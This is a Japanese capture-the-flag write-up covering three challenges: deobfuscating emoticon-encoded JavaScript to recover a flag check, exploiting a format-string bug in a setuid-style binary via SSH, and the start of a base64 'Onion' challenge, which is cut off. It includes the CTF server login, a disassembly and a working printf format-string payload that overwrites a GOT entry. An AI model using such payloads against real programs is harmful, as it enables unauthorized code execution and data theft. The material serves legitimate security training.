).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーー+(〳ᆞωᆞ).〳にゃーーーー+(〳ᆞωᆞ).〳にゃーーーー,(ᆞωᆞᒪ)=(コᆞωᆞ)=ー,(〳ᆞωᆞ).〳にゃーーーーー=(ᒧᆞωᆞ).ᒧうー[(ᆞωᆞᒪ)+(〳ᆞωᆞ).〳にゃーーーーー+(コᆞωᆞ)][(ᆞωᆞᒪ)+(〳ᆞωᆞ).〳にゃーーーーー+(コᆞωᆞ)],ᆞωᆞ=(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーーーーー=(〳ᆞωᆞ).〳にゃーーーーー(ᆞωᆞᒪ+(ᒧᆞωᆞ).ᒧうーーーーー+コᆞωᆞ)(ᆞωᆞ),(ᒧᆞωᆞ).ᒧうーーーーー=(〳ᆞωᆞ).〳にゃーーーーー(ᆞωᆞᒪ+(ᒧᆞωᆞ).ᒧうーーーーー+コᆞωᆞ)(ᆞωᆞ),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーー=(ᒧᆞωᆞ).ᒧうーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーー=(ᒧᆞωᆞ).ᒧうーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーーー=(〳ᆞωᆞ).〳にゃーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーーー=(ᒧᆞωᆞ).ᒧうーーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーーー=(〳ᆞωᆞ).〳にゃーーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーーー=(ᒧᆞωᆞ).ᒧうーーー- -(〳ᆞωᆞ).〳にゃー,(ᆞωᆞ)

(ᆞωᆞ)<ナニコレ?
まぁ、難読されたJSだろう・・
真面目にやるなら、固定ワードを少しずつ置き換えしかないため、Chrome先生の力を貸します。
f:id:zhangnan198711:20180414224737p:plain
の右側の「VM711:2」をクリックすると、

(function() {
    $(function() {
        $("form").submit(function() {
            var t = $('input[type="text"]').val();
            var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
            var f = false;
            if (p.length == t.length) {
                f = true;
                for (var i = 0; i < p.length; i++)
                    if (t.charCodeAt(i) * (i + 1) != p[i]) f = false;
                if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!");
            }
            if (!f) alert("No");
            return false;
        });
    });
})

おお...おおお!
ポイントはここですね!

var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
 for (var i = 0; i < p.length; i++) {
                    if (t.charCodeAt(i) * (i + 1) != p[i])
}

では、デコードJSを作成してみると、

var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
var t=[];var x =[];for (var i = 0; i < p.length; i++) { t[i] = p[i] / (i+1); x[i] = String.fromCharCode(t[i]); }

そしてxの値を見てみると..?

["F", "L", "A", "G", "_", "x, "x", "p", "Z", "U", "C", "o", "q", "x", "b", "x", "i", "x", "x", "x", "x"]

f:id:zhangnan198711:20180414225950p:plain
(ᆞωᆞ)<クリア!

4. Villager A

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

うーん...

ssh -p 10022 -l q4 ctfq.sweetduet.info

そして、llしてみると
f:id:zhangnan198711:20180414231004p:plain

このフォルダ配下は3つファイルある

  • flag.txt
    • オーナーはq4aであり、400の権限がかけられている…
  • q4
    • バイナリファイル
  • readme.txt
string q4

してみると、

[q4@localhost ~]$ strings q4
/lib/ld-linux.so.2
libstdc++.so.6
__gmon_start__
_Jv_RegisterClasses
__gxx_personality_v0
libm.so.6
libgcc_s.so.1
libc.so.6
_IO_stdin_used
fopen
puts
putchar
stdin
printf
fgets
strcmp
__libc_start_main
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
[^_]
What's your name?
Hi,
Do you want the flag?
I see. Good bye.
flag.txt

なる。

fgetなら、
書式文字列攻撃 - Wikipedia
ですよねぇ。

そしてデコンパイル。。

[q4@localhost ~]$ objdump -d -M intel q4

q4: file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
8048424: 55 push ebp
8048425: 89 e5 mov ebp,esp
8048427: 53 push ebx
8048428: 83 ec 04 sub esp,0x4
804842b: e8 00 00 00 00 call 8048430 <_init+0xc>
~(略)~

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
8048454: ff 35 d4 99 04 08 push DWORD PTR ds:0x80499d4
804845a: ff 25 d8 99 04 08 jmp DWORD PTR ds:0x80499d8
8048460: 00 00 add BYTE PTR [eax],al
...

08048464 <__gmon_start__@plt>:
8048464: ff 25 dc 99 04 08 jmp DWORD PTR ds:0x80499dc
804846a: 68 00 00 00 00 push 0x0
804846f: e9 e0 ff ff ff jmp 8048454 <_init+0x30>

08048474 :
8048474: ff 25 e0 99 04 08 jmp DWORD PTR ds:0x80499e0
804847a: 68 08 00 00 00 push 0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>

08048484 :
8048484: ff 25 e4 99 04 08 jmp DWORD PTR ds:0x80499e4
804848a: 68 10 00 00 00 push 0x10
804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30>
~(略)~

080485b4

:
80485b4: 55 push ebp
80485b5: 89 e5 mov ebp,esp
80485b7: 83 e4 f0 and esp,0xfffffff0
80485ba: 81 ec 20 04 00 00 sub esp,0x420
80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4
80485c7: e8 f8 fe ff ff call 80484c4
80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04
80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400
80485dc: 00
80485dd: 8d 44 24 18 lea eax,[esp+0x18]
80485e1: 89 04 24 mov DWORD PTR [esp],eax
80485e4: e8 9b fe ff ff call 8048484
80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6
80485f0: e8 bf fe ff ff call 80484b4
80485f5: 8d 44 24 18 lea eax,[esp+0x18]
80485f9: 89 04 24 mov DWORD PTR [esp],eax
80485fc: e8 b3 fe ff ff call 80484b4
8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa
8048608: e8 67 fe ff ff call 8048474
804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681
804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb
8048621: e8 9e fe ff ff call 80484c4
8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04
804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400
8048636: 00
8048637: 8d 44 24 18 lea eax,[esp+0x18]
804863b: 89 04 24 mov DWORD PTR [esp],eax
804863e: e8 41 fe ff ff call 8048484
8048643: 85 c0 test eax,eax
8048645: 0f 94 c0 sete al
8048648: 84 c0 test al,al
804864a: 74 0a je 8048656
804864c: b8 00 00 00 00 mov eax,0x0
8048651: e9 86 00 00 00 jmp 80486dc
8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1
804865d: 08
804865e: 8d 44 24 18 lea eax,[esp+0x18]
8048662: 89 04 24 mov DWORD PTR [esp],eax
8048665: e8 7a fe ff ff call 80484e4
804866a: 85 c0 test eax,eax
804866c: 75 13 jne 8048681
804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5
8048675: e8 4a fe ff ff call 80484c4
804867a: b8 00 00 00 00 mov eax,0x0
804867f: eb 5b jmp 80486dc
8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418]
8048688: 85 c0 test eax,eax
804868a: 0f 95 c0 setne al
804868d: 84 c0 test al,al
804868f: 75 89 jne 804861a
8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6
8048698: 08
8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8
80486a0: e8 ff fd ff ff call 80484a4
80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax
80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c]
80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400
80486be: 00
80486bf: 8d 44 24 18 lea eax,[esp+0x18]
80486c3: 89 04 24 mov DWORD PTR [esp],eax
80486c6: e8 b9 fd ff ff call 8048484
80486cb: 8d 44 24 18 lea eax,[esp+0x18]
80486cf: 89 04 24 mov DWORD PTR [esp],eax
80486d2: e8 dd fd ff ff call 80484b4
80486d7: b8 00 00 00 00 mov eax,0x0
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop

そしてこのShellcodeは、

echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

TBD:もっと多い註釈をする。。

上記のやつを実行してみると、FLAGをゲット。

5. Onion

いきなり下記の長いやつが来た

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU
bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj
MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh
a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs
ZGgKYTFwTVZURmFZV1JIVWtkYVJscGhUVEJLZDFadGVHRmtNV1JYVjI1U1RsWkdTbkZEYXpGRlVX
cFNWMDFxVmxSWlYzaExWMFpXYzFacwpWbGNLVFRKb1RWWlVSbUZaVjFKSVZXdHNWV0pYYUZkV01G
WkxWbFprV0dWSGRHbE5iRXA2VmpKMGExbFdUa2xSYmtwRVlYcEdlbFl5CmRHOVdNREZ4Vm14U1Yx
SXphR2hWYWtaUFl6RmFjd3BXYkdOTFZGUkJNRTFHV2toa1IwWm9UV3MxTUZWdGRHdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRTU0U5V1NrNVdiSEJKVmpKMFlXSXhVbk5VYTJob1UwVktSVmxZY0Vk
WFJsbDVDbVZIT1ZkTlJFWjRWbTE0VTFZeApTWHBoUjJoV1lXdGFVRmw2Um1GamQzQlhZa2RPVEZa
R1VrdGlNVkpYVjJ4V1UySlZXbUZXYWtaTFUxWmFXR1JIT1doTlZXdzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hWYWtaaFpFWktkR1JGTlZkTlZYQmFWbTF3U2sxV1ZYbFNiazVVWWtkNFYxbHRkRXRT
Vm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFab1UwMUdXVEJYVkVKdldWWmtjd3BYYTFwWVlUTlNhRlZy
Vm1GamJIQkdWMnQwYW1RelFtaFZha3ByVkVaawpWMVZyVGxkTlJGWklWMnRvVDFkSFNsWlhiR1JW
VmpOT05GUnJXbXRqYlVaSFZHMW9UbFpZUVhoV1ZtUTBDbUV4V1hkTlZXTkxWakowCk5GWXlTa2Rq
U0VwWFRVZFNXRlV3V2t0ak1WWnlUbFprVGxaWVFtRldiVEYzVXpBeFNGSllhRmhpYkVwVVZqQmtV
MVZHV25SbFIwWlQKVm0xNFdsa3dWbXNLVjBaS2RHUkVUa1JpUjFJd1ZERmFiMVV3TVVkWFZFSllW
a1ZLZGxWNlJscGxVWEJUWW10d2NWVnNhRzlXTVd4WQpaRWhrVmxKc1ZqUldNbmhQWVcxUmVsRnNi
RnBpUjFGM1ZrVmFZUXBrUjFKSFdrWndWMkpJUWxsV2FrbzBWakZWZVZOc1dsaGlWVnBZCldWZDBZ
VlJHVlhoWGJVWllVakZLU1ZReFpHOVViRnBZWkhwR1dGWnNXbkpEYlVsNFYyeGtXR0V4YkV4V1ZF
b3dDazVHV1hsVGEyUnEKVTBWd1dGUlZaRk5YUmxWM1YydDBhazFXV25sVWJGcHJWR3hhV1ZGdFJs
ZGlXRUpNVkZWa1NtVkdWbGxoUjJ4VFlsWktWbGRXVWtkawpNVnBYWWtoT1YySlZXbFFLVm0weE5H
VldXWGxPVjNOTFZtcEtTMUl4WkhGUmExSm9aV3hhWVZZeWRHRmhNVkp6VTJ0YVdHRnNTbGhaCmJG
SkdUVVpXVlZKc2NHdGtNMEpQVm14a2IxWXhiRlZVYlRsWVVtMTRlZ3BaVldNMVlXMUtTVkZyYUZk
TmJrMHhXVmN4VW1Wc1JuVlMKYkZwb1lUSTVNMVpyVm1GWlVYQllVbFJHUmxWdGVFdFViVVY1Wkhw
Q1YyRnJhM2hXVkVwSFl6Rk9jMkZHV21sU01VcG9DbGRYZEdGawpNa1pIVmxoa1dHSklRbk5XYkZK
WFYwWmtjbGR0ZEZkTlJFWktWVmQ0ZDFkR1duTlhiV2hFWWtaR05GWXhhR3RVYkZwWVZHdDRWMkZy
